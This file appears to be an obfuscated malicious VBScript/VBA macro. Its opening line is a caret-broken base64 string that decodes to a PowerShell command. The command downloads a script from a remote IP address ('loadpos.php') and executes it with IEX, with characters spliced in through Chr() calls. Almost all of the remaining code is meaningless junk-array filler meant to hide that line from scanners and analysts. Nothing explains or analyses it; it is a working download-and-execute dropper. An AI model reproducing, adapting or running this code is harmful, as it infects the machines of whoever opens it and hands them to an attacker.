zUfumboCYgUhejoNyDypzUbIaoCezOdOHe = "^l^A^C^4^A^Z^Q^B^4^A^G^U^A^J^w^A^7^A^C^A^A^S^Q^B^F^A^F^g^A^K^A^A^o^A^E^4^A^Z^Q^B^3^A^C^0^A^T^w^B^i^A^G^o^A^Z^Q^B^j^A^H^Q^A^I^A^B^T^A^H^k^A^c^w^B^0^A^G^U^A^b^Q^A^u^A^E^4^A^Z^Q^B^0^A^C^4^A^V^w^B^l^A^G^I^A^Q^w^B^s^A^G^k^A^Z^Q^B^u^A^H^Q^A^K^Q^A^u^A^E^Q^A^b^w^B^3^A^G^4^A^b^A^B^v^A^G^E^A^Z^A^B^T^A^H^Q^A^c^g^B^p^A^G^4^A^Z^w^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^" + Format(Chr(((7 * 10) + 6))) + "^w^A^y^A^D^E^A^N^w^A^u^A^D^E^A^O^A^A^y^A^C^4^A^M^g^A^z^A^D^E^A^" + Format(Chr(((7 * 10) + 6))) + "^g^A^0^A^D^M^A^" + Format(Chr(((7 * 10) + 6))) + "^w^B^s^A^G^8^A^Z^A^B^w^A^G^8^A^c^w^A^u^A^H^A^A^a^A^B^w^A^C^I^A^K^Q^A^p^A^D^s^A^I^A^B^F^A^H^g^A^a^Q^B^0^A^D^s^A"

Dim gEBiTiVypiWLAiEtexOxARk(5)
Dim XyJimysEbEguHIMoWEZejicyaEzakzEhacy(5)

If LenB("CyiIQIzUjoqUaeqYr") < 64753 Then
XyJimysEbEguHIMoWEZejicyaEzakzEhacy(0) = VarType(Sqr(6475) + CInt("6475"))
End If
XyJimysEbEguHIMoWEZejicyaEzakzEhacy(1) = LTrim("CyiIQIzUjoqUaeqYr") & "33"
XyJimysEbEguHIMoWEZejicyaEzakzEhacy(2) = Day(64756475)

If Len("XyJimysEbEguHIMoWEZejicyaEzakzEhacy") < Len("CyiIQIzUjoqUaeqYr") Then
XyJimysEbEguHIMoWEZejicyaEzakzEhacy(3) = Weekday(64753)
End If
Dim SaDOmEJaivAFEJlaTFoHezaKymOVuSuqoNWcove(5)

If LenB("TOdUMYqOfivBI") < 22094 Then
SaDOmEJaivAFEJlaTFoHezaKymOVuSuqoNWcove(0) = VarType(Sqr(2209) + CInt("2209"))
End If
SaDOmEJaivAFEJlaTFoHezaKymOVuSuqoNWcove(1) = LTrim("TOdUMYqOfivBI") & "44"
SaDOmEJaivAFEJlaTFoHezaKymOVuSuqoNWcove(2) = Day(22092209)

If Len("SaDOmEJaivAFEJlaTFoHezaKymOVuSuqoNWcove") < Len("TOdUMYqOfivBI") Then
SaDOmEJaivAFEJlaTFoHezaKymOVuSuqoNWcove(3) = Weekday(22094)
End If

If LenB("CGoKYReWAt") < 887510 Then
Dim NoGlaVuiEdUnXELAPibixUk(5)

If LenB("tYpIyJuCYVItEDI") < 87001 Then
NoGlaVuiEdUnXELAPibixUk(0) = VarType(Sqr(8700) + CInt("8700"))
End If
NoGlaVuiEdUnXELAPibixUk(1) = LTrim("tYpIyJuCYVItEDI") & "11"
NoGlaVuiEdUnXELAPibixUk(2) = Day(87008700)

If Len("NoGlaVuiEdUnXELAPibixUk") < Len("tYpIyJuCYVItEDI") Then
NoGlaVuiEdUnXELAPibixUk(3) = Weekday(87001)
End If
gEBiTiVypiWLAiEtexOxARk(0) = VarType(Sqr(8875) + CInt("8875"))
End If
gEBiTiVypiWLAiEtexOxARk(1) = LTrim("CGoKYReWAt") & "1010"
Dim iixaJYrobiheTobokULuXeMIhuPaJajyDivby(5)

If LenB("SEbIqyiLYfAN") < 68108 Then
iixaJYrobiheTobokULuXeMIhuPaJajyDivby(0) = VarType(Sqr(6810) + CInt("6810"))
End If
iixaJYrobiheTobokULuXeMIhuPaJajyDivby(1) = LTrim("SEbIqyiLYfAN") & "88"
iixaJYrobiheTobokULuXeMIhuPaJajyDivby(2) = Day(68106810)

If Len("iixaJYrobiheTobokULuXeMIhuPaJajyDivby") < Len("SEbIqyiLYfAN") Then
iixaJYrobiheTobokULuXeMIhuPaJajyDivby(3) = Weekday(68108)
End If
gEBiTiVypiWLAiEtexOxARk(2) = Day(88758875)

Dim NanaSAtywezEJULYaehiKIFuiYaIY(5)

If LenB("sOmYGoDAiONA") < 34598 Then
NanaSAtywezEJULYaehiKIFuiYaIY(0) = VarType(Sqr(3459) + CInt("3459"))
End If
NanaSAtywezEJULYaehiKIFuiYaIY(1) = LTrim("sOmYGoDAiONA") & "88"
NanaSAtywezEJULYaehiKIFuiYaIY(2) = Day(34593459)

If Len("NanaSAtywezEJULYaehiKIFuiYaIY") < Len("sOmYGoDAiONA") Then
NanaSAtywezEJULYaehiKIFuiYaIY(3) = Weekday(34598)
End If
Dim PoXUqOriiOxYwpAKyKIvfwYvI(5)

If LenB("aYWaHixymuDYceruycobUmi") < 45036 Then
PoXUqOriiOxYwpAKyKIvfwYvI(0) = VarType(Sqr(4503) + CInt("4503"))
End If
PoXUqOriiOxYwpAKyKIvfwYvI(1) = LTrim("aYWaHixymuDYceruycobUmi") & "66"
PoXUqOriiOxYwpAKyKIvfwYvI(2) = Day(45034503)

If Len("PoXUqOriiOxYwpAKyKIvfwYvI") < Len("aYWaHixymuDYceruycobUmi") Then
PoXUqOriiOxYwpAKyKIvfwYvI(3) = Weekday(45036)
End If
If Len("gEBiTiVypiWLAiEtexOxARk") < Len("CGoKYReWAt") Then
gEBiTiVypiWLAiEtexOxARk(3) = Weekday(887510)
End If
Dim MWjEqEGiZEjEzYYmEfAQbOdeBluDYhLERaWoHR(5)

If LenB("lexaTEDUTAre") < 41426 Then
MWjEqEGiZEjEzYYmEfAQbOdeBluDYhLERaWoHR(0) = VarType(Sqr(4142) + CInt("4142"))
End If
MWjEqEGiZEjEzYYmEfAQbOdeBluDYhLERaWoHR(1) = LTrim("lexaTEDUTAre") & "66"
MWjEqEGiZEjEzYYmEfAQbOdeBluDYhLERaWoHR(2) = Day(41424142)

If Len("MWjEqEGiZEjEzYYmEfAQbOdeBluDYhLERaWoHR") < Len("lexaTEDUTAre") Then
MWjEqEGiZEjEzYYmEfAQbOdeBluDYhLERaWoHR(3) = Weekday(41426)
End If

Dim rEQXiKyhIJoPeYMoCynUvIQAPYTUzo(5)

If LenB("CIdePicihaK") < 98638 Then
rEQXiKyhIJoPeYMoCynUvIQAPYTUzo(0) = VarType(Sqr(9863) + CInt("9863"))
End If
rEQXiKyhIJoPeYMoCynUvIQAPYTUzo(1) = LTrim("CIdePicihaK") & "88"
rEQXiKyhIJoPeYMoCynUvIQAPYTUzo(2) = Day(98639863)

If Len("rEQXiKyhIJoPeYMoCynUvIQAPYTUzo") < Len("CIdePicihaK") Then
rEQXiKyhIJoPeYMoCynUvIQAPYTUzo(3) = Weekday(98638)
End If
Dim dYsOtYMIMuDofigyMimEUXMazAqOnImASyJq(5)

If LenB("JOBIPIDAHOZHIxU") < 90352 Then
dYsOtYMIMuDofigyMimEUXMazAqOnImASyJq(0) = VarType(Sqr(9035) + CInt("9035"))
End If
dYsOtYMIMuDofigyMimEUXMazAqOnImASyJq(1) = LTrim("JOBIPIDAHOZHIxU") & "22"
dYsOtYMIMuDofigyMimEUXMazAqOnImASyJq(2) = Day(90359035)

If Len("dYsOtYMIMuDofigyMimEUXMazAqOnImASyJq") < Len("JOBIPIDAHOZHIxU") Then
dYsOtYMIMuDofigyMimEUXMazAqOnImASyJq(3) = Weekday(90352)
End If
PYPYcOzoxeweWUHVISOCoDoQIKIX = "^I^A^A^="
Dim LYmESAghUbExazYlYpyryaiRIzi(5)

Dim KYaICOmAfebudUVAwUkaqusiizEWopikenIFIqyN(5)

If LenB("ymqaloJESuR") < 42481 Then
KYaICOmAfebudUVAwUkaqusiizEWopikenIFIqyN(0) = VarType(Sqr(4248) + CInt("4248"))
End If
KYaICOmAfebudUVAwUkaqusiizEWopikenIFIqyN(1) = LTrim("ymqaloJESuR") & "11"
KYaICOmAfebudUVAwUkaqusiizEWopikenIFIqyN(2) = Day(42484248)

If Len("KYaICOmAfebudUVAwUkaqusiizEWopikenIFIqyN") < Len("ymqaloJESuR") Then
KYaICOmAfebudUVAwUkaqusiizEWopikenIFIqyN(3) = Weekday(42481)
End If
Dim VUFapENYGaNOPMUxYHeNUhiF(5)

If LenB("ieUSuFXyPbetIREZALi") < 121910 Then
VUFapENYGaNOPMUxYHeNUhiF(0) = VarType(Sqr(1219) + CInt("1219"))
End If
VUFapENYGaNOPMUxYHeNUhiF(1) = LTrim("ieUSuFXyPbetIREZALi") & "1010"
VUFapENYGaNOPMUxYHeNUhiF(2) = Day(12191219)

If Len("VUFapENYGaNOPMUxYHeNUhiF") < Len("ieUSuFXyPbetIREZALi") Then
VUFapENYGaNOPMUxYHeNUhiF(3) = Weekday(121910)
End If
If LenB("ZUBYqOveRyFyny") < 68696 Then
Dim HeiOXoGuqoXUnAVisYbOHYViZahoxOqinAjizEtawur(5)

If LenB("hyfoTiFMUDEdDe") < 10421 Then
HeiOXoGuqoXUnAVisYbOHYViZahoxOqinAjizEtawur(0) = VarType(Sqr(1042) + CInt("1042"))
End If
HeiOXoGuqoXUnAVisYbOHYViZahoxOqinAjizEtawur(1) = LTrim("hyfoTiFMUDEdDe") & "11"
HeiOXoGuqoXUnAVisYbOHYViZahoxOqinAjizEtawur(2) = Day(10421042)

If Len("HeiOXoGuqoXUnAVisYbOHYViZahoxOqinAjizEtawur") < Len("hyfoTiFMUDEdDe") Then
HeiOXoGuqoXUnAVisYbOHYViZahoxOqinAjizEtawur(3) = Weekday(10421)
End If
Dim raMUxilIJYDorekRupYJiyDiZIdiaYPyPUKA(5)

If LenB("aeLUxijytySYrAFaNF") < 54099 Then
raMUxilIJYDorekRupYJiyDiZIdiaYPyPUKA(0) = VarType(Sqr(5409) + CInt("5409"))
End If
raMUxilIJYDorekRupYJiyDiZIdiaYPyPUKA(1) = LTrim("aeLUxijytySYrAFaNF") & "99"
raMUxilIJYDorekRupYJiyDiZIdiaYPyPUKA(2) = Day(54095409)

If Len("raMUxilIJYDorekRupYJiyDiZIdiaYPyPUKA") < Len("aeLUxijytySYrAFaNF") Then
raMUxilIJYDorekRupYJiyDiZIdiaYPyPUKA(3) = Weekday(54099)
End If
LYmESAghUbExazYlYpyryaiRIzi(0) = VarType(Sqr(6869) + CInt("6869"))
Dim NeBudatysYjxeXaITijosAdUjelA(5)

If LenB("wEFITyWydaLUkOroGa") < 22631 Then
NeBudatysYjxeXaITijosAdUjelA(0) = VarType(Sqr(2263) + CInt("2263"))
End If
NeBudatysYjxeXaITijosAdUjelA(1) = LTrim("wEFITyWydaLUkOroGa") & "11"
NeBudatysYjxeXaITijosAdUjelA(2) = Day(22632263)

If Len("NeBudatysYjxeXaITijosAdUjelA") < Len("wEFITyWydaLUkOroGa") Then
NeBudatysYjxeXaITijosAdUjelA(3) = Weekday(22631)
End If
End If
Dim XiFUqaJoRUdzuTyivoTiQOiItYGuwoDUrU(5)

If LenB("wAzOxbOaAduxoreLiiIji") < 91758 Then
XiFUqaJoRUdzuTyivoTiQOiItYGuwoDUrU(0) = VarType(Sqr(9175) + CInt("9175"))
End If
XiFUqaJoRUdzuTyivoTiQOiItYGuwoDUrU(1) = LTrim("wAzOxbOaAduxoreLiiIji") & "88"
XiFUqaJoRUdzuTyivoTiQOiItYGuwoDUrU(2) = Day(91759175)

If Len("XiFUqaJoRUdzuTyivoTiQOiItYGuwoDUrU") < Len("wAzOxbOaAduxoreLiiIji") Then
XiFUqaJoRUdzuTyivoTiQOiItYGuwoDUrU(3) = Weekday(91758)
End If
LYmESAghUbExazYlYpyryaiRIzi(1) = LTrim("ZUBYqOveRyFyny") & "66"
LYmESAghUbExazYlYpyryaiRIzi(2) = Day(68696869)
Dim KisaZyGAZzimEjoVUsERYHENUjoSEGeSUqCu(5)

If LenB("DaHaSFePiGYxam") < 96119 Then
KisaZyGAZzimEjoVUsERYHENUjoSEGeSUqCu(0) = VarType(Sqr(9611) + CInt("9611"))
End If
KisaZyGAZzimEjoVUsERYHENUjoSEGeSUqCu(1) = LTrim("DaHaSFePiGYxam") & "99"
KisaZyGAZzimEjoVUsERYHENUjoSEGeSUqCu(2) = Day(96119611)

If Len("KisaZyGAZzimEjoVUsERYHENUjoSEGeSUqCu") < Len("DaHaSFePiGYxam") Then
KisaZyGAZzimEjoVUsERYHENUjoSEGeSUqCu(3) = Weekday(96119)
End If

Dim JYZEpOLepANaaoaySaQedYPAVolA(5)

If LenB("hoFyMeqUQoLEsOSyiiqUTo") < 27962 Then
JYZEpOLepANaaoaySaQedYPAVolA(0) = VarType(Sqr(2796) + CInt("2796"))
End If
JYZEpOLepANaaoaySaQedYPAVolA(1) = LTrim("hoFyMeqUQoLEsOSyiiqUTo") & "22"
JYZEpOLepANaaoaySaQedYPAVolA(2) = Day(27962796)

If Len("JYZEpOLepANaaoaySaQedYPAVolA") < Len("hoFyMeqUQoLEsOSyiiqUTo") Then
JYZEpOLepANaaoaySaQedYPAVolA(3) = Weekday(27962)
End If
If Len("LYmESAghUbExazYlYpyryaiRIzi") < Len("ZUBYqOveRyFyny") Then
LYmESAghUbExazYlYpyryaiRIzi(3) = Weekday(68696)
Dim gEQarOtYxipeiLencoxYauzUg(5)

If LenB("rutIaIvegYQejOkrYho") < 36686 Then
gEQarOtYxipeiLencoxYauzUg(0) = VarType(Sqr(3668) + CInt("3668"))
End If
gEQarOtYxipeiLencoxYauzUg(1) = LTrim("rutIaIvegYQejOkrYho") & "66"
gEQarOtYxipeiLencoxYauzUg(2) = Day(36683668)

If Len("gEQarOtYxipeiLencoxYauzUg") < Len("rutIaIvegYQejOkrYho") Then
gEQarOtYxipeiLencoxYauzUg(3) = Weekday(36686)
End If
Dim TuvibyRavUSHtIHEVowIxU(5)

If LenB("kOtopuMYzoza") < 18098 Then
TuvibyRavUSHtIHEVowIxU(0) = VarType(Sqr(1809) + CInt("1809"))
End If
TuvibyRavUSHtIHEVowIxU(1) = LTrim("kOtopuMYzoza") & "88"
TuvibyRavUSHtIHEVowIxU(2) = Day(18091809)

If Len("TuvibyRavUSHtIHEVowIxU") < Len("kOtopuMYzoza") Then
TuvibyRavUSHtIHEVowIxU(3) = Weekday(18098)
End If
End If

Dim PyfApUwYryRaDOCApyrHEhEPOXobePuf(5)
Dim GYvIfuwOMUdYHyGOGtUxtIgOLIXObePop(5)

If LenB("jyGoTOaIxuKuJiVEh") < 5587 Then
GYvIfuwOMUdYHyGOGtUxtIgOLIXObePop(0) = VarType(Sqr(558) + CInt("558"))
End If
GYvIfuwOMUdYHyGOGtUxtIgOLIXObePop(1) = LTrim("jyGoTOaIxuKuJiVEh") & "77"
GYvIfuwOMUdYHyGOGtUxtIgOLIXObePop(2) = Day(558558)

If Len("GYvIfuwOMUdYHyGOGtUxtIgOLIXObePop") < Len("jyGoTOaIxuKuJiVEh") Then
GYvIfuwOMUdYHyGOGtUxtIgOLIXObePop(3) = Weekday(5587)
End If

Dim FuHUSOBuGonbaZIWiRomeni(5)

If LenB("DaGExaDyLeMyRUnYz") < 63244 Then
FuHUSOBuGonbaZIWiRomeni(0) = VarType(Sqr(6324) + CInt("6324"))
End If
FuHUSOBuGonbaZIWiRomeni(1) = LTrim("DaGExaDyLeMyRUnYz") & "44"
FuHUSOBuGonbaZIWiRomeni(2) = Day(63246324)

If Len("FuHUSOBuGonbaZIWiRomeni") < Len("DaGExaDyLeMyRUnYz") Then
FuHUSOBuGonbaZIWiRomeni(3) = Weekday(63244)
End If
Dim ParUfUhIXumokAroPErElIDpopItEBopYr(5)

If LenB("aEJyRyjuCAVAlEauzifOHAXU") < 54858 Then
ParUfUhIXumokAroPErElIDpopItEBopYr(0) = VarType(Sqr(5485) + CInt("5485"))
End If
ParUfUhIXumokAroPErElIDpopItEBopYr(1) = LTrim("aEJyRyjuCAVAlEauzifOHAXU") & "88"
ParUfUhIXumokAroPErElIDpopItEBopYr(2) = Day(54855485)

If Len("ParUfUhIXumokAroPErElIDpopItEBopYr") < Len("aEJyRyjuCAVAlEauzifOHAXU") Then
ParUfUhIXumokAroPErElIDpopItEBopYr(3) = Weekday(54858)
End If
If LenB("nEBUGiJobixU") < 70056 Then
Dim dYAgEXiPApacaXTEnAwAqeLaqexRigiDA(5)

If LenB("ciSZIkAgytASoi") < 67306 Then
dYAgEXiPApacaXTEnAwAqeLaqexRigiDA(0) = VarType(Sqr(6730) + CInt("6730"))
End If
dYAgEXiPApacaXTEnAwAqeLaqexRigiDA(1) = LTrim("ciSZIkAgytASoi") & "66"
dYAgEXiPApacaXTEnAwAqeLaqexRigiDA(2) = Day(67306730)

If Len("dYAgEXiPApacaXTEnAwAqeLaqexRigiDA") < Len("ciSZIkAgytASoi") Then
dYAgEXiPApacaXTEnAwAqeLaqexRigiDA(3) = Weekday(67306)
End If
PyfApUwYryRaDOCApyrHEhEPOXobePuf(0) = VarType(Sqr(7005) + CInt("7005"))
Dim cvIiUxfuBYWeXomYNoNHYsAhiVaioHIaiXo(5)

If LenB("kULOxEcoKApUjiXIDoCIH") < 734410 Then
cvIiUxfuBYWeXomYNoNHYsAhiVaioHIaiXo(0) = VarType(Sqr(7344) + CInt("7344"))
End If
cvIiUxfuBYWeXomYNoNHYsAhiVaioHIaiXo(1) = LTrim("kULOxEcoKApUjiXIDoCIH") & "1010"
cvIiUxfuBYWeXomYNoNHYsAhiVaioHIaiXo(2) = Day(73447344)

If Len("cvIiUxfuBYWeXomYNoNHYsAhiVaioHIaiXo") < Len("kULOxEcoKApUjiXIDoCIH") Then
cvIiUxfuBYWeXomYNoNHYsAhiVaioHIaiXo(3) = Weekday(734410)
End If
Dim qOrAKaXIcOdbuPUganOQuDutYPOxex(5)

If LenB("TaKOligyJuwGuKn") < 26051 Then
qOrAKaXIcOdbuPUganOQuDutYPOxex(0) = VarType(Sqr(2605) + CInt("2605"))
End If
qOrAKaXIcOdbuPUganOQuDutYPOxex(1) = LTrim("TaKOligyJuwGuKn") & "11"
qOrAKaXIcOdbuPUganOQuDutYPOxex(2) = Day(26052605)

If Len("qOrAKaXIcOdbuPUganOQuDutYPOxex") < Len("TaKOligyJuwGuKn") Then
qOrAKaXIcOdbuPUganOQuDutYPOxex(3) = Weekday(26051)
End If
End If
Dim ZAceGEWobaZoJUsedebXigYKUvOcUXEbEr(5)

If LenB("RYciiAboGPUYLyPopA") < 65651 Then
ZAceGEWobaZoJUsedebXigYKUvOcUXEbEr(0) = VarType(Sqr(6565) + CInt("6565"))
End If
ZAceGEWobaZoJUsedebXigYKUvOcUXEbEr(1) = LTrim("RYciiAboGPUYLyPopA") & "11"
ZAceGEWobaZoJUsedebXigYKUvOcUXEbEr(2) = Day(65656565)

If Len("ZAceGEWobaZoJUsedebXigYKUvOcUXEbEr") < Len("RYciiAboGPUYLyPopA") Then
ZAceGEWobaZoJUsedebXigYKUvOcUXEbEr(3) = Weekday(65651)
End If
PyfApUwYryRaDOCApyrHEhEPOXobePuf(1) = LTrim("nEBUGiJobixU") & "66"
Dim TUsYRiXoQadAzlYmuXydEfOLOsyTenahYMa(5)

If LenB("lIzYgoSIDOXidooFAgIK") < 23608 Then
TUsYRiXoQadAzlYmuXydEfOLOsyTenahYMa(0) = VarType(Sqr(2360) + CInt("2360"))
End If
TUsYRiXoQadAzlYmuXydEfOLOsyTenahYMa(1) = LTrim("lIzYgoSIDOXidooFAgIK") & "88"
TUsYRiXoQadAzlYmuXydEfOLOsyTenahYMa(2) = Day(23602360)

If Len("TUsYRiXoQadAzlYmuXydEfOLOsyTenahYMa") < Len("lIzYgoSIDOXidooFAgIK") Then
TUsYRiXoQadAzlYmuXydEfOLOsyTenahYMa(3) = Weekday(23608)
End If
Dim JYnIrEaYzutYNOiynIPOiRoRYz(5)

If LenB("WIdiiAQUgyNyZiVUSMeWI") < 37504 Then
JYnIrEaYzutYNOiynIPOiRoRYz(0) = VarType(Sqr(3750) + CInt("3750"))
End If
JYnIrEaYzutYNOiynIPOiRoRYz(1) = LTrim("WIdiiAQUgyNyZiVUSMeWI") & "44"
JYnIrEaYzutYNOiynIPOiRoRYz(2) = Day(37503750)

If Len("JYnIrEaYzutYNOiynIPOiRoRYz") < Len("WIdiiAQUgyNyZiVUSMeWI") Then
JYnIrEaYzutYNOiynIPOiRoRYz(3) = Weekday(37504)
End If
PyfApUwYryRaDOCApyrHEhEPOXobePuf(2) = Day(70057005)

If Len("PyfApUwYryRaDOCApyrHEhEPOXobePuf") < Len("nEBUGiJobixU") Then
PyfApUwYryRaDOCApyrHEhEPOXobePuf(3) = Weekday(70056)
Dim kizcIZudukEiIxAdIbiTuWqYNeSbusUlIXiGz(5)

If LenB("RifoLIKYBekRIH") < 84641 Then
kizcIZudukEiIxAdIbiTuWqYNeSbusUlIXiGz(0) = VarType(Sqr(8464) + CInt("8464"))
End If
kizcIZudukEiIxAdIbiTuWqYNeSbusUlIXiGz(1) = LTrim("RifoLIKYBekRIH") & "11"
kizcIZudukEiIxAdIbiTuWqYNeSbusUlIXiGz(2) = Day(84648464)

If Len("kizcIZudukEiIxAdIbiTuWqYNeSbusUlIXiGz") < Len("RifoLIKYBekRIH") Then
kizcIZudukEiIxAdIbiTuWqYNeSbusUlIXiGz(3) = Weekday(84641)
End If
End If

Dim peWahAcsemIJilusybOlYzyfYSOMutikyzoN(5)

If LenB("lyZIXYhEsyxaiipaybIzU") < 87281 Then
peWahAcsemIJilusybOlYzyfYSOMutikyzoN(0) = VarType(Sqr(8728) + CInt("8728"))
End If
peWahAcsemIJilusybOlYzyfYSOMutikyzoN(1) = LTrim("lyZIXYhEsyxaiipaybIzU") & "11"
peWahAcsemIJilusybOlYzyfYSOMutikyzoN(2) = Day(87288728)

If Len("peWahAcsemIJilusybOlYzyfYSOMutikyzoN") < Len("lyZIXYhEsyxaiipaybIzU") Then
peWahAcsemIJilusybOlYzyfYSOMutikyzoN(3) = Weekday(87281)
End If

Dim dytuxalAQydovukAQkIfojiwazYkosozYby(5)

If LenB("JEgIPElasuCOFEdidj") < 67821 Then
dytuxalAQydovukAQkIfojiwazYkosozYby(0) = VarType(Sqr(6782) + CInt("6782"))
End If
dytuxalAQydovukAQkIfojiwazYkosozYby(1) = LTrim("JEgIPElasuCOFEdidj") & "11"
dytuxalAQydovukAQkIfojiwazYkosozYby(2) = Day(67826782)

If Len("dytuxalAQydovukAQkIfojiwazYkosozYby") < Len("JEgIPElasuCOFEdidj") Then
dytuxalAQydovukAQkIfojiwazYkosozYby(3) = Weekday(67821)
End If
Dim piGeXEpaxUBAHEZuzUwBYFeSyfydUauJOLYSy(5)
Dim xyXEBoBiVONEmAijirbIdOzIBUBefCvyVyZ(5)

If LenB("cOMYwyWExeJaWYbiCoFuhot") < 98786 Then
xyXEBoBiVONEmAijirbIdOzIBUBefCvyVyZ(0) = VarType(Sqr(9878) + CInt("9878"))
End If
xyXEBoBiVONEmAijirbIdOzIBUBefCvyVyZ(1) = LTrim("cOMYwyWExeJaWYbiCoFuhot") & "66"
xyXEBoBiVONEmAijirbIdOzIBUBefCvyVyZ(2) = Day(98789878)

If Len("xyXEBoBiVONEmAijirbIdOzIBUBefCvyVyZ") < Len("cOMYwyWExeJaWYbiCoFuhot") Then
xyXEBoBiVONEmAijirbIdOzIBUBefCvyVyZ(3) = Weekday(98786)
End If
Dim nUVuJAvoXukibirUhOnEDAlyPUWEqUcyHUFUvaWi(5)

If LenB("QADEzIgAsoPH") < 48366 Then
nUVuJAvoXukibirUhOnEDAlyPUWEqUcyHUFUvaWi(0) = VarType(Sqr(4836) + CInt("4836"))
End If
nUVuJAvoXukibirUhOnEDAlyPUWEqUcyHUFUvaWi(1) = LTrim("QADEzIgAsoPH") & "66"
nUVuJAvoXukibirUhOnEDAlyPUWEqUcyHUFUvaWi(2) = Day(48364836)

If Len("nUVuJAvoXukibirUhOnEDAlyPUWEqUcyHUFUvaWi") < Len("QADEzIgAsoPH") Then
nUVuJAvoXukibirUhOnEDAlyPUWEqUcyHUFUvaWi(3) = Weekday(48366)
End If

Dim dazUHaXuXyaipOcUpheCoPcGOHyzYiiWi(5)

If LenB("PeCigEiYPYpodOh") < 74288 Then
dazUHaXuXyaipOcUpheCoPcGOHyzYiiWi(0) = VarType(Sqr(7428) + CInt("7428"))
End If
dazUHaXuXyaipOcUpheCoPcGOHyzYiiWi(1) = LTrim("PeCigEiYPYpodOh") & "88"
dazUHaXuXyaipOcUpheCoPcGOHyzYiiWi(2) = Day(74287428)

If Len("dazUHaXuXyaipOcUpheCoPcGOHyzYiiWi") < Len("PeCigEiYPYpodOh") Then
dazUHaXuXyaipOcUpheCoPcGOHyzYiiWi(3) = Weekday(74288)
End If
If LenB("kEwafOMdIWaHIx") < 11177 Then
Dim PaBUDyTezyXYwukyWoPoKpIKeMESUhUFo(5)

If LenB("naQALUzOwYMAiUgymYp") < 27306 Then
PaBUDyTezyXYwukyWoPoKpIKeMESUhUFo(0) = VarType(Sqr(2730) + CInt("2730"))
End If
PaBUDyTezyXYwukyWoPoKpIKeMESUhUFo(1) = LTrim("naQALUzOwYMAiUgymYp") & "66"
PaBUDyTezyXYwukyWoPoKpIKeMESUhUFo(2) = Day(27302730)

If Len("PaBUDyTezyXYwukyWoPoKpIKeMESUhUFo") < Len("naQALUzOwYMAiUgymYp") Then
PaBUDyTezyXYwukyWoPoKpIKeMESUhUFo(3) = Weekday(27306)
End If
piGeXEpaxUBAHEZuzUwBYFeSyfydUauJOLYSy(0) = VarType(Sqr(1117) + CInt("1117"))
End If
Dim WIqIcaZaluRiqAaOQEwukYjakOViQaxYMyj(5)

If LenB("lUTAFEjUXuTimAVaGEtYjo") < 72249 Then
WIqIcaZaluRiqAaOQEwukYjakOViQaxYMyj(0) = VarType(Sqr(7224) + CInt("7224"))
End If
WIqIcaZaluRiqAaOQEwukYjakOViQaxYMyj(1) = LTrim("lUTAFEjUXuTimAVaGEtYjo") & "99"
WIqIcaZaluRiqAaOQEwukYjakOViQaxYMyj(2) = Day(72247224)

If Len("WIqIcaZaluRiqAaOQEwukYjakOViQaxYMyj") < Len("lUTAFEjUXuTimAVaGEtYjo") Then
WIqIcaZaluRiqAaOQEwukYjakOViQaxYMyj(3) = Weekday(72249)
End If
Dim GOghecowItEkaMiXIwAnOgAVETIlo(5)

If LenB("cEUJuwaKYRYH") < 1049 Then
GOghecowItEkaMiXIwAnOgAVETIlo(0) = VarType(Sqr(104) + CInt("104"))
End If
GOghecowItEkaMiXIwAnOgAVETIlo(1) = LTrim("cEUJuwaKYRYH") & "99"
GOghecowItEkaMiXIwAnOgAVETIlo(2) = Day(104104)

If Len("GOghecowItEkaMiXIwAnOgAVETIlo") < Len("cEUJuwaKYRYH") Then
GOghecowItEkaMiXIwAnOgAVETIlo(3) = Weekday(1049)
End If
piGeXEpaxUBAHEZuzUwBYFeSyfydUauJOLYSy(1) = LTrim("kEwafOMdIWaHIx") & "77"
Dim aiRIZOayXuDEzAPAbyTYhFobrIdyNEfAr(5)

If LenB("FeGUgOCohamopYrIwujURy") < 92268 Then
aiRIZOayXuDEzAPAbyTYhFobrIdyNEfAr(0) = VarType(Sqr(9226) + CInt("9226"))
End If
aiRIZOayXuDEzAPAbyTYhFobrIdyNEfAr(1) = LTrim("FeGUgOCohamopYrIwujURy") & "88"
aiRIZOayXuDEzAPAbyTYhFobrIdyNEfAr(2) = Day(92269226)

If Len("aiRIZOayXuDEzAPAbyTYhFobrIdyNEfAr") < Len("FeGUgOCohamopYrIwujURy") Then
aiRIZOayXuDEzAPAbyTYhFobrIdyNEfAr(3) = Weekday(92268)
End If
piGeXEpaxUBAHEZuzUwBYFeSyfydUauJOLYSy(2) = Day(11171117)
Dim QeqykusAxUFyDAzAFrrehIT(5)

If LenB("dEfiOBTyL") < 74659 Then
QeqykusAxUFyDAzAFrrehIT(0) = VarType(Sqr(7465) + CInt("7465"))
End If
QeqykusAxUFyDAzAFrrehIT(1) = LTrim("dEfiOBTyL") & "99"
QeqykusAxUFyDAzAFrrehIT(2) = Day(74657465)

If Len("QeqykusAxUFyDAzAFrrehIT") < Len("dEfiOBTyL") Then
QeqykusAxUFyDAzAFrrehIT(3) = Weekday(74659)
End If
Dim zOQExUpyqoRjUBaJEBUfekubudYfYJ(5)

If LenB("VIXIqaiIhIhOJiTofETEVaK") < 71310 Then
zOQExUpyqoRjUBaJEBUfekubudYfYJ(0) = VarType(Sqr(713) + CInt("713"))
End If
zOQExUpyqoRjUBaJEBUfekubudYfYJ(1) = LTrim("VIXIqaiIhIhOJiTofETEVaK") & "1010"
zOQExUpyqoRjUBaJEBUfekubudYfYJ(2) = Day(713713)

If Len("zOQExUpyqoRjUBaJEBUfekubudYfYJ") < Len("VIXIqaiIhIhOJiTofETEVaK") Then
zOQExUpyqoRjUBaJEBUfekubudYfYJ(3) = Weekday(71310)
End If

Dim DaJUZydABaluqUBaiopabihYTySEtYmuT(5)

If LenB("tYDUQEtYWekybIQyQoS") < 78898 Then
DaJUZydABaluqUBaiopabihYTySEtYmuT(0) = VarType(Sqr(7889) + CInt("7889"))
End If
DaJUZydABaluqUBaiopabihYTySEtYmuT(1) = LTrim("tYDUQEtYWekybIQyQoS") & "88"
DaJUZydABaluqUBaiopabihYTySEtYmuT(2) = Day(78897889)

If Len("DaJUZydABaluqUBaiopabihYTySEtYmuT") < Len("tYDUQEtYWekybIQyQoS") Then
DaJUZydABaluqUBaiopabihYTySEtYmuT(3) = Weekday(78898)
End If
Dim NekULIzUcISuJEmOsEwadOsilAhirYMIsfIVoZYgiTOby(5)

If LenB("saYqyvUSygaByLyh") < 1251 Then
NekULIzUcISuJEmOsEwadOsilAhirYMIsfIVoZYgiTOby(0) = VarType(Sqr(125) + CInt("125"))
End If
